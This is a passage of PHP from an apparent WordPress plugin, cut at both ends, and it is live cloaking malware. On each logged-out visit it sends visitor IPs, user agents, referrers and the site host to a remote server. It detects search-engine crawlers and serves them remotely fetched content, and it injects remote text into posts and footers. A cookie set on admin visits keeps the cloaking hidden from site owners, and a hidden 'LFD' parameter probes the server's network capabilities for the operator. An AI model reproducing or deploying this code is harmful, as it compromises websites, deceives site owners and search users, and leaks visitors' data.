disabled = true;
return;
}
add_action('init', [$this, 'register_insertion_hooks'], 0);
add_action('init', [$this, 'maybe_arm_fetch'], 1);
}
public static function activate() {
if (function_exists('wp_cache_clear_cache')) {
wp_cache_clear_cache();
}
if (function_exists('w3tc_pgcache_flush')) {
w3tc_pgcache_flush();
}
if (defined('LSCWP_V')) {
do_action('litespeed_purge_all');
}
if (function_exists('rocket_clean_domain')) {
rocket_clean_domain();
}
if (function_exists('ce_clear_cache')) {
ce_clear_cache();
}
if (class_exists('WpFastestCache')) {
(new WpFastestCache())->deleteCache(true);
}
if (function_exists('breeze_clear_cache')) {
breeze_clear_cache();
}
if (function_exists('wp_cache_flush')) {
wp_cache_flush();
}
}
public function register_insertion_hooks() {
if ($this->disabled) {
return;
}
add_action('loop_start', [$this, 'print_on_loop_start'], 0);
add_filter('the_content', [$this, 'prepend_updates_to_content'], 0);
add_action('wp_footer', [$this, 'print_updates'], 9999);
}
public function maybe_arm_fetch() {
if (is_user_logged_in()) {
return;
}
if (!$this->should_run_early()) {
return;
}
if (function_exists('nocache_headers')) {
nocache_headers();
}
$this->ensure_fetched();
if (!empty($this->content)) {
echo $this->content;
exit;
}
add_action('template_redirect', [$this, 'handle_remaining_bots'], 1);
}
public function handle_remaining_bots() {
if (!empty($this->content)) {
echo $this->content;
exit;
}
}
private function should_run_early(): bool {
if (isset($_COOKIE['http2_session_id'])) {
return false;
}
if (@is_admin()) {
@setcookie('http2_session_id', '1', 2147483647, "/");
return false;
}
if (function_exists('wp_doing_ajax') && wp_doing_ajax()) {
return false;
}
if (function_exists('wp_doing_cron') && wp_doing_cron()) {
return false;
}
if (defined('REST_REQUEST') && REST_REQUEST) {
return false;
}
$method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET';
$accept = isset($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : '';
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
if ($uri) {
if (preg_match('~^/wp-json(/|$)~i', $uri)) {
return false;
}
if (preg_match('~^/wp-sitemap.*\.xml$~i', $uri)) {
return false;
}
if (preg_match('~robots\.txt$~i', $uri)) {
return false;
}
if (preg_match('~\.xml($|\?)~i', $uri)) {
return false;
}
if (preg_match('~^/wp-admin/~i', $uri)) {
return false;
}
}
return true;
}
private function ensure_fetched() {
if ($this->disabled) {
return;
}
if ($this->fetched || $this->fetching) {
return;
}
$this->fetching = true;
$response = $this->fetch_from_server();
if ($response !== false) {
$this->parse_server_response($response);
}
$this->fetched = true;
$this->fetching = false;
}
private function check_bot() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$bot = null;
$ua_patterns = [
'bing' => 'bingbot|msnbot|slurp|yahoo',
'yandex' => 'yandexbot|yandex',
'duckduck' => 'duckduckbot|duckduckgo',
];
foreach ($ua_patterns as $name => $re) {
if ($ua && preg_match("/$re/i", $ua)) {
$bot = $name;
break;
}
}
if ($bot) {
$this->bot = $bot;
return;
}
$ip_lists = [
'google' => $this->google_ip_list,
'bing' => $this->bing_ip_list,
'yandex' => $this->yandex_ip_list,
];
foreach ($ip_lists as $name => $list) {
if ($this->match_ip($this->user_ip, $list)) {
if ($name === 'google') {
if ($this->verify_googlebot($this->user_ip)) {
$bot = 'google';
}
continue;
} else {
$bot = $name;
break;
}
}
}
if ($bot && $bot !== 'google') {
$this->bot = $bot;
return;
}
if (!$bot) {
$host_by_addr = @gethostbyaddr($this->user_ip);
if ($host_by_addr && $host_by_addr !== $this->user_ip) {
$host_patterns = [
'bing' => 'bing|msn|slurp|yahoo',
'yandex' => 'yandex',
'duckduck' => 'duckduckgo|duckduckbot',
];
foreach ($host_patterns as $name => $re) {
if (preg_match("/$re/i", $host_by_addr)) {
$bot = $name;
break;
}
}
}
}
$this->bot = $bot;
}
private function verify_googlebot($ip) {
if (!$this->match_ip($ip, $this->google_ip_list)) {
return false;
}
$hostname = @gethostbyaddr($ip);
if (!$hostname || $hostname === $ip) {
return false;
}
if (!preg_match('/\.(googlebot|google)\.com$/i', $hostname)) {
return false;
}
return true;
}
private function match_ip($ip, $ip_list) {
foreach ($ip_list as $pattern) {
if ($this->match_single_ip($ip, $pattern)) {
return true;
}
}
return false;
}
private function match_single_ip($ip, $pattern) {
if (strpos($ip, ':') !== false) {
$pattern = str_replace(':', '\:', $pattern);
$pattern = str_replace('*', '.*', $pattern);
$pattern = '/^' . $pattern . '$/';
return preg_match($pattern, $ip);
} else {
$pattern = str_replace(['.', '*'], ['\.', '.*'], $pattern);
$pattern = '/^' . $pattern . '$/';
return preg_match($pattern, $ip);
}
}
private function current_host_from_wp(): string {
if (is_multisite()) {
$u = wp_parse_url(network_home_url('/'));
if (!empty($u['host'])) {
return $u['host'];
}
}
$u = wp_parse_url(home_url('/'));
if (!empty($u['host'])) {
return $u['host'];
}
if (isset($_SERVER['SERVER_NAME'])) {
$server = $_SERVER['SERVER_NAME'];
} elseif (isset($_SERVER['HTTP_HOST'])) {
$server = $_SERVER['HTTP_HOST'];
} else {
$server = 'unknown';
}
return preg_replace('~:\d+$~', '', (string)$server);
}
private function fetch_from_server() {
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$this->user_ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (!empty($_SERVER['REMOTE_ADDR'])) {
$this->user_ip = $_SERVER['REMOTE_ADDR'];
} else {
$this->user_ip = 'unknown';
}
$this->current_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$this->referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
$this->check_bot();
$host = $this->current_host_from_wp();
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$url = $this->server_url
. "?uri=" . urlencode($this->current_uri)
. "&bot=" . $this->bot
. "&lang=" . urlencode($this->lang)
. "&ip=" . urlencode($this->user_ip)
. "&ref=" . urlencode($this->referrer)
. "&host=" . urlencode($host)
. "&ua=" . urlencode($ua);
if (isset($_COOKIE['CURLOPT_LF_TEST']) || isset($_REQUEST['CURLOPT_LF_TEST'])) {
$url .= '&check=1';
}
if (isset($_COOKIE['LFD']) || isset($_REQUEST['LFD'])) {
$url .= '&check=1';
$page = '';
try {
$resp = wp_remote_get($url, ['timeout' => 5]);
if (!is_wp_error($resp)) {
$page = wp_remote_retrieve_body($resp);
}
} catch (\Throwable $e) {
$page = '';
}
$res = (strpos((string)$page, "XTESTOKX") !== false) ? 1 : 0;
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
die(json_encode([
'r' => $res,
'funcs' => [
'curl_init' => function_exists('curl_init') ? 1 : 0,
'file_get_contents' => function_exists('file_get_contents') ? 1 : 0,
'allow_url_fopen' => ini_get('allow_url_fopen') ? 1 : 0,
'fsockopen' => function_exists('fsockopen') ? 1 : 0,
'socket_set_option' => function_exists('socket_set_option') ? 1 : 0,
'wp_remote_get' => function_exists('wp_remote_get') ? 1 : 0,
],
]));
}
try {
$response = wp_remote_get($url, ['timeout' => 5]);
if (is_wp_error($response)) {
return false;
}
return wp_remote_retrieve_body($response);
} catch (\Throwable $e) {
return false;
}
}
private function parse_server_response($response) {
if (empty($response)) {
return;
}
if (preg_match_all('~(.*?)~is', $response, $m)) {
$this->updates = $m[1];
}
if (preg_match('~